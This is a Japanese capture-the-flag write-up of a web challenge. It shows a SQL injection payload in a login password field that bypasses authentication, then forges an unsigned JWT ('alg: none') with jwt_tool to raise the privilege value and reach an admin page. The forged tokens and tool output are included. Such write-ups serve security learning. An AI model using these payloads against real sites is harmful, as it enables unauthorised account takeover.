Challenge instance ready at 95.216.233.106:36245.
See if you can get an admin account.
アクセスするとSign inとSign upがあるが、Sign upは現在停止しているようだ。
RAQE
site.png
Sign inを試みる。
Login
site1.png
Passwordに'
を入力(Usernameは空)してみると、Internal Server Errorを引き起こせた。
SQLインジェクションが行えそうだ。
t' OR 't' = 't
をPasswordに設定したところ以下のようにAttempting to login as more than one user!??と怒られた。
Login(more than one user)
site2.png
userを制限してやれば良いため、t' OR LENGTH(username) = 5 --
とする。
ログイン成功したが、adminではないためAdminリンクには飛べない。
Three videos avaliable
site3.png
ここでクッキーを見てみると以下のJWTが入っていた。
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU
JWTだ。
JSON Web Tokens - jwt.ioで中身を見ると以下のようであった。
HEADER:ALGORITHM & TOKEN TYPE
{
"typ": "JWT",
"alg": "HS256"
}
PAYLOAD:DATA
{
"user": "Harry",
"privilege": 1
}
userをAdminとするかprivilegeを0か2にしてみれば良いようだが署名をどうにかする必要がある。
The JSON Web Token Toolkitを使ってnoneが通るか確認する。
一部の出力は省略する。
$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU
> 2
~~~
"alg": "None":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.
"alg": "NONE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.
"alg": "nOnE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.
~~~
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjF9.
をセットしても問題ないようだ。
よってJWTを任意のものに改竄し、署名無しにすればよい。
一部の出力は省略する。
$ python jwt_tool.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjogIkhhcnJ5IiwgInByaXZpbGVnZSI6IDF9.A7OHDo-b3PB5XONTRuTYq6jm2Ab8iaT353oc-VPPNMU
> 1
> 2
> none
> 0
> 2
> 2
[1] user = "Harry"
[2] privilege = 2
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step
>0
> 3
~~~
Your new forged token:
"alg": "none":
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
====================================================================
Some variants, which may work on some JWT libraries:
"alg": "None":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOb25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
"alg": "NONE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
"alg": "nOnE":
eyJ0eXAiOiJKV1QiLCJhbGciOiJuT25FIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
====================================================================
結局privilegeを2とするのが正解だった。
eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0.eyJ1c2VyIjoiSGFycnkiLCJwcml2aWxlZ2UiOjJ9.
をセットしてAdminに飛ぶとflagが得られる。
flag
flag.png